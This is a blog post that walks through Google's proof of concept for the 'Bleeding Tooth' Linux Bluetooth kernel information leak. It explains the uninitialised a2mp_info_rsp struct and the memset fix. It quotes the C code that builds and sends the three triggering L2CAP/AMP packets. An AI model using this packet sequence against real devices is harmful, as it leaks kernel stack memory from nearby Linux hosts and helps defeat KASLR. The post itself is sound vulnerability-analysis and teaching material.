Bleeding Tooth Deep Dive
A few days ago, Google’s research team published an information leak vulnerability in the Linux bluetooth stack along with a very nice poc.
In this post, I want to go through and dissect this poc to identify exactly what the vulnerability is and how it’s been fixed. This is the first kernel vulnerability that I’ve dove into deeply and I’ve found it to be surprisingly simple and straightforward.
The vulnerability itself, dubbed Bleeding Tooth by Google, is able to leak values from the kernel’s stack memory. This means that, in theory, you might be able to defeat kaslr and leverage that information in a fully-fledged exploit.
Spot The Vuln⌗
To start off, it’s a good idea to look at the kernel source itself. The vulnerable function is a2mp_getinfo_req()
. Specifically, starting at line 304, we have:
hdev = hci_dev_get(req->id);
if (!hdev || hdev->dev_type != HCI_AMP)
{
struct a2mp_info_rsp rsp;
rsp.id = req->id;
rsp.status = A2MP_STATUS_INVALID_CTRL_ID;
a2mp_send(mgr, A2MP_GETINFO_RSP, hdr->ident, sizeof(rsp),
&rsp);
goto done;
}
The problem here is that the rsp
struct (defined to be of type a2mp_info_rsp
) is declared and then only 2 of it’s fields are set before it’s sent to the device with a2mp_send()
. Taking a look at the a2mp_info_rsp
struct definition in a2mp.h
, we see:
struct a2mp_info_rsp {
__u8 id;
__u8 status;
__le32 total_bw;
__le32 max_bw;
__le32 min_latency;
__le16 pal_cap;
__le16 assoc_size;
} __packed;
The trouble is that space for this struct is allocated on the stack, so the rest of those fields are going to already be populated with junk left over from whatever was going on in that region of memory before. Herein lies the issue - that junk is likely to contain kernel addresses which are being sent over Bluetooth to another device! This is what constitutes the information leak.
Triggering The Bug⌗
So, a nice bug for sure - but how do we trigger it? Let’s take another look at that if
statement:
hdev = hci_dev_get(req->id);
if (!hdev || hdev->dev_type != HCI_AMP)
{
/* ... */
}
Okay, first of all req
is defined further up in a2mp_getinfo_req()
on line 294 - essentially it’s just an incoming Bluetooth packet requesting information about the connection (hence why a2mp_getinfo_req()
is being called). The first line takes the request ID from req
and passes it to hci_dev_get()
, which returns an hci_dev
struct (this function takes care of obtaining a pointer to the contents of the packet without us having to worry about the lower levels of the stack).
HCI
stands for Host-Controller Interface and is (roughly-speaking) the separator between the messy physical and data-link layers, and the rest of the Bluetooth stack. Fortunately, there’s a handy protocol for passing frames back and forth between the HCI and the upper levels, which is called Logical Link Control and Adaption Protocol, or L2CAP
to it’s friends. This is the protocol that will be used to communicate with the target device.
So, what is that if
statement checking? Well, we can see that hci_dev_get()
returns a pointer to an hci_dev
struct, so the !hdev
condition is just making sure that we actually have a pointer to something. Next, the dev_type
field of an hci_dev
struct is just the kind of Bluetooth packet we have - in this case, it’s checking whether it is of type HCI_AMP
. AMP
stands for Alternative MAC/PHY and is a clever (although optionally implemented) feature of Bluetooth 3.0 which is able to use 802.11abgn to transfer data, while keeping Bluetooth as a kind of control channel (this is cool because many devices have a single wireless chip than handles both WiFi and Bluetooth).
Essentially, as long as we have a valid Bluetooth packet, which is not an AMP packet, we’ll trigger the bug! The only trick is that we have to get the kernel to actually enter the a2mp_getinfo_req()
, which will only happen if an AMP channel is created, and an AMP info request is received…
A Tale of Three Packets⌗
So, in order to trigger the bug, we have to create an AMP channel with the target, set the connection up as L2CAP (so we can easily talk to the HCI), then send a corrupted AMP packet with a nonsense request ID! This will trick the target’s kernel into calling a2mp_getinfo_req()
with an invalid AMP packet, thus triggering the vulnerable code.
Briefly, we have:
- Packet 1: Initialize an AMP channel
- Packet 2: Indicate that we’re using L2CAP
- Packet 3: Send an AMP info request packet with an invalid request ID
This is precisely what the Google team’s poc does. The first thing it does is resets the Bluetooth device, and the initiates a connection to the target MAC address. After all that is done, we get to constructing and sending the three packets.
Now comes packet 1:
printf("[*] Creating AMP channel...\n");
struct {
l2cap_hdr hdr;
} packet1 = {0};
packet1.hdr.len = htobs(sizeof(packet1) - L2CAP_HDR_SIZE);
packet1.hdr.cid = htobs(AMP_MGR_CID);
hci_send_acl_data(hci_socket, hci_handle, &packet1, sizeof(packet1));
This packet is just an L2CAP
header (defined in include/net/bluetooth/l2cap.h
) consisting of a packet length (len
) and a channel identifier (cid
). This channel identifier is set to AMP_MGR_CID
(defined to be 0x03
). Once this packet is sent, we know that the vulnerable code will eventually be called, but at this point the if
statement will fail and we won’t get any goodies sent back to us.
Moving onwards, we get to packet 2:
printf("[*] Configuring to L2CAP_MODE_BASIC...\n");
struct {
l2cap_hdr hdr;
l2cap_cmd_hdr cmd_hdr;
l2cap_conf_rsp conf_rsp;
l2cap_conf_opt conf_opt;
l2cap_conf_rfc conf_rfc;
} packet2 = {0};
packet2.hdr.len = htobs(sizeof(packet2) - L2CAP_HDR_SIZE);
packet2.hdr.cid = htobs(1);
packet2.cmd_hdr.code = L2CAP_CONF_RSP;
packet2.cmd_hdr.ident = 0x41;
packet2.cmd_hdr.len = htobs(sizeof(packet2) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE);
packet2.conf_rsp.scid = htobs(AMP_MGR_CID);
packet2.conf_rsp.flags = htobs(0);
packet2.conf_rsp.result = htobs(L2CAP_CONF_UNACCEPT);
packet2.conf_opt.type = L2CAP_CONF_RFC;
packet2.conf_opt.len = sizeof(l2cap_conf_rfc);
packet2.conf_rfc.mode = L2CAP_MODE_BASIC;
hci_send_acl_data(hci_socket, hci_handle, &packet2, sizeof(packet2));
Before we can send a corrupt AMP packet with a nonsense request ID, we have to establish with the target that we’re using the L2CAP protocol. This packet has a lot of fields that we don’t really care about, but the important struct to look at is l2cap_conf_rfc
. This is where the protocol is actually set (although, given the rest of the packet, anything other than L2CAP wouldn’t make any sense). We can see this on the penultimate line where the .mode
field of conf_rfc
is set to L2CAP_MODE_BASIC
.
Once this packet is sent, we can send another one with an AMP packet encapsulated in an L2CAP packet, which brings us to packet 3:
printf("[*] Sending malicious AMP info request...\n");
struct {
l2cap_hdr hdr;
amp_mgr_hdr amp_hdr;
amp_info_req_parms info_req;
} packet3 = {0};
packet3.hdr.len = htobs(sizeof(packet3) - L2CAP_HDR_SIZE);
packet3.hdr.cid = htobs(AMP_MGR_CID);
packet3.amp_hdr.code = AMP_INFO_REQ;
packet3.amp_hdr.ident = 0x41;
packet3.amp_hdr.len = htobs(sizeof(amp_info_req_parms));
packet3.info_req.id = 0x42; // use a dummy id to make hci_dev_get fail
hci_send_acl_data(hci_socket, hci_handle, &packet3, sizeof(packet3));
Notice how, in the definition of packet3
, we start off with an l2cap_hdr
, followed by an amp_mgr_hdr
and an amp_info_req_parms
payload. We can only do this because we sent packet2
, which instructed the target device that we are using l2cap
to encapsulate our packets.
There are two important parts to this packet. First, we set the .code
field of the amp_hdr
to AMP_INFO_REQ
- this ensures that the vulnerable a2mp_getinfo_req()
function in the kernel will get called. The second, crucial part of the whole poc, is that we set .id
field of the info_req
payload to 0x42
. This number has no inherent meaning in the Bluetooth stack, so when the kernel calls hci_dev_get()
on this packet, it will get a valid pointer back, but the .dev_type
field of hdev
will not be HCI_AMP
. This will make the if
condition fail, and the kernel will jump to the vulnerable code.
The Goods⌗
So what happens once we’ve sent these three packets? The target Bluetooth device sends back an AMP response to the “info request” that we sent it. As explained at the start, the first two fields are appropriately set, but the rest aren’t. Looking at the a2mp_info_rsp
struct again:
struct a2mp_info_rsp {
__u8 id;
__u8 status;
__le32 total_bw;
__le32 max_bw;
__le32 min_latency;
__le16 pal_cap;
__le16 assoc_size;
} __packed;
The first two fields, .id
and .status
, are the ones that get filled. Immediately following them are three __le32
fields (which are 32-bit little endian numbers). Because the a2mp_info_rsp
struct is allocated on the stack (see here), these three values (.total_bw
, .max_bw
, .min_latency
) are likely to already have values in memory regions that they occupy - which get sent back to us over Bluetooth!
What’s the big deal?⌗
Ordinarily, kernel memory is only readable from within the kernel itself - and it gets to choose what things to expose to userland. For instance, a privileged user is allowed to see the memory address of all the exported kernel objects by reading from /proc/kallsyms
, however it is still not allowed to read from those addresses.
One big reason that things are done this way is kaslr, or “kernel address space layout randomization”. This is a technique to randomize the location that the kernel gets loaded into at each boot, so that the location of different kernel objects isn’t always the same - and are essentialy unpredictable. Lots of kernel exploits are foiled because of this (for instance, ROP chains are useless because you’re not able to predict where any gadgets are), but if I’m able to leak information from kernel memory, then it’s possible that I might be able to discover the location of an object in memory.
Once you know the location of one object in kernel memory, you can work backwards to work out what the kernel base address is (assuming you know what kernel is running) because the offset of objects from the base address are always the same for a given kernel. From there, it’s possible to write a ROP chain for local privilege escalation etc (assuming you’ve got a memory corruption vulnerability as well to actually redirect execution flow).
So, all in all, this information leak would in theory only form a part of a fully-fledged exploit, but nonetheless is very interesting to see in action how these sorts of vulnerabilities can arise.
Fixing It⌗
Now that we understand the bug and how to exploit it - how do we go about patching it? It’s actually very straightforward - we just fill the region of memory that the a2mp_info_rsp
struct occupies with 0x0
before setting the .id
and .status
fields and sending the packet off.
Line 311 in a2mp.c
does exactly this with a simple memset()
. You can see the commit diff for the fix here. It turns out that were a couple of other places that this same bug was present so they were fixed as well.
Closing⌗
This was all really interesting to go through and explore! I’ve not played much with the Linux Bluetooth stack before and I feel like I’ve learned a lot about the underlying spec. All credit goes to the team at Google who both discovered this vulnerability and wrote the poc - I am in no way affiliated with Google whatsoever, and take no credit for their great work.
Until next time…